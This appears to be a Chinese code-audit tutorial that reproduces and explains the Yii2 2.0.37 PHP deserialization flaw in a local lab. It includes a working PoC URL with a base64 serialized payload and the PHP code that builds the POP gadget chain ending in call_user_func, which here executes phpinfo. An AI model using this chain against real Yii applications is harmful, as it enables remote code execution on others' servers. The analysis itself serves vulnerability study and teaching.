15-PHP代码审计——yii 2.0.37反序列化漏洞
2021/6/6 20:51:06
本文主要是介绍15-PHP代码审计——yii 2.0.37反序列化漏洞,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,如果程序内部调用了unserialize() 反序列化时,那么程序就可能存在反序列化漏洞,攻击者可通过构造特定的恶意请求执行任意命令。
影响版本:
yii2 v2.0.37版本以下
环境:
yii-basic-app-2.0.37.tgz
php7.0以上
poc:
http://www.yii2.com/web/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
在github上下载yii框架,网址:https://github.com/yiisoft/yii2/releases/tag/2.0.37
下载完成后,把yii2解压到网站的根目录下,打开浏览器访问yii项目的目录下的requirements.php文件,访问http://www.yii2.com/requirements.php
如果出现以上页面再修改yii项目的config目录下的web.php文件
这里我是放在phpstudy的www目录是C:\phpStudy\PHPTutorial\WWW\yii2.com\config,将cookieValidationKey的值随便修改成一个字符串,这里我直接修改成123。
修改完web.php文件后再访问http://www.yii2.com/web/index.php,如果出现以下页面说明安装成功
安装完成后,在yii项目的controllers目录下新建一个TestController.php文件,并编写如下代码
生成poc的代码,如下所示:
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'phpinfo'; $this->id = '1'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ //进行序列化和base64编码 echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>
执行以上poc代码,生成payload数据。
然后我们再访问之前提交的poc,浏览器直接回显了phpinfo页面,说明yii反序列化漏洞利用成功
接下来从之前自定义的TestController.php文件开始分析yii的反序列化漏洞。
当TestController反序列化时会调用BaseYii类的静态方法autoload依次完成pop利用链的初始化操作(__construct),yii反序列化漏洞的利用点是BatchQueryResult类的__destruct方法。
public function __destruct(){ // make sure cursor is closed $this->reset(); }
接着又调用了reset方法:
public function reset(){ if ($this->_dataReader !== null) { $this->_dataReader->close(); } $this->_dataReader = null; $this->_batch = null; $this->_value = null; $this->_key = null; }
reset方法中通过_dataReader属性又调用了close方法,那么_dataReader应该指向了一个对象。
而前面构造的poc中_dataReader属性指向了Generator对象,但Generator类并没有close方法,当一个对象调用了不可访问的方法时会触发__call方法,因此$this->_dataReader->close()这一步实际上会调用__call方法
public function __call($method, $attributes){ return $this->format($method, $attributes); }
__call方法内部又调用了format方法,该方法内部调用调用了getFormatter函数和call_user_func_array函数,对php函数比较熟悉的同学应该知道,call_user_func_array是一个危险的函数,也就是说前面的__call方法其实是作为一个“跳板”,我们需要通过__call函数来间接调用call_user_func_array函数。
public function format($formatter, $arguments = array()){ return call_user_func_array($this->getFormatter($formatter), $arguments); }
注意:call_user_func_array函数有两个参数,其中第二个参数是不可控的,重点关注第一个参数。
先分析getFormatter函数,该函数内部先判断是否设置了formatters,然后获取formatters的内容返回,说明formatters可控的,因此在构造pop利用链时可以指定formatters属性的内容
public function getFormatter($formatter){ if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); }
接着就调用了call_user_func_array方法并将getFormatter函数获取到的内容以数组的方式作为参数,call_user_func_array函数会根据第一个参数的内容调用了run方法。
public function run(){ if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } /* @var $model \yii\db\ActiveRecord */ $model = new $this->modelClass([ 'scenario' => $this->scenario, ]); $model->load(Yii::$app->getRequest()->getBodyParams(), ''); if ($model->save()) { $response = Yii::$app->getResponse(); $response->setStatusCode(201); $id = implode(',', array_values($model->getPrimaryKey(true))); $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true)); } elseif (!$model->hasErrors()) { throw new ServerErrorHttpException('Failed to create the object for unknown reason.'); } return $model; }
run方法内部通过this对象拿到checkAccess和id(就是phpinfo和1),然后调用 call_user_func危险函数远程执行命令操作。
这里肯定有小伙伴很疑惑CreateAction类的run方法是如何被调用的,在这之前,先来学习一下call_user_func_array函数的用法
<?php /** * Created by PhpStorm. * User: test * Date: 2021/6/6 * Time: 15:58 */ //Test类有成员方法和静态方法 class Test{ public function fun1(){ printf("---function fun1---"); } public static function fun2(){ printf("---function fun2---"); } } //直接调用类中的成员方法和静态方法,需要将类名和方法以数组的方式传递 //不实例化来调用Test类的成员方法 call_user_func_array(array("Test", "fun1") , array()); //不实例化来调用Test类的静态方法 call_user_func_array(array("Test","fun2") , array()); //实例化对象调用方法,需要将对象和方法以数组的方式传递 //实例化调用方法 call_user_func_array(array(new test , "fun1") , array());
执行结果如下:
---function fun1------function fun2------function fun1---
在前面的分析中我们知道call_user_func_array函数的第一个参数是由getFormatter函数返回的,也就是说getFormatter函数其实返回的是一个数组,该数组的内容为[new CreateAction , "run"],通过将对象和成员方法以数组的形式作为参数传递给call_user_func_array函数实现调用CreateAction类的run方法,这是一个非常巧妙的利用思路。
最后整理一下yii反序列化漏洞的pop利用链:
到此,漏洞分析完成。
参考文章:
https://blog.csdn.net/xuandao_ahfengren/article/details/111259943
https://my.oschina.net/botkenni/blog/844631
这篇关于15-PHP代码审计——yii 2.0.37反序列化漏洞的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23怎么实现安卓+php 热更新方案?-icode9专业技术文章分享
- 2024-11-22PHP 中怎么实现判断多个值是否为空、null 或者为 false?-icode9专业技术文章分享
- 2024-11-11开源 PHP 商城项目 CRMEB 二次开发和部署教程
- 2024-11-09怎么使用php在kaufland平台刊登商品?-icode9专业技术文章分享
- 2024-11-05PHP的抽象类和接口是什么,有什么区别-icode9专业技术文章分享
- 2024-11-01开源 PHP 商城项目 CRMEB 安装和使用教程
- 2024-11-01用php和mysql写无限分类,有哪几种方法-icode9专业技术文章分享
- 2024-10-31php数据分表导出时部分数据无法导出什么原因-icode9专业技术文章分享
- 2024-10-30有经验的 PHP 开发者学习一门新的编程语言,有哪些推荐的有前景的语言-icode9专业技术文章分享
- 2024-10-21php 检测图片是否篡改过-icode9专业技术文章分享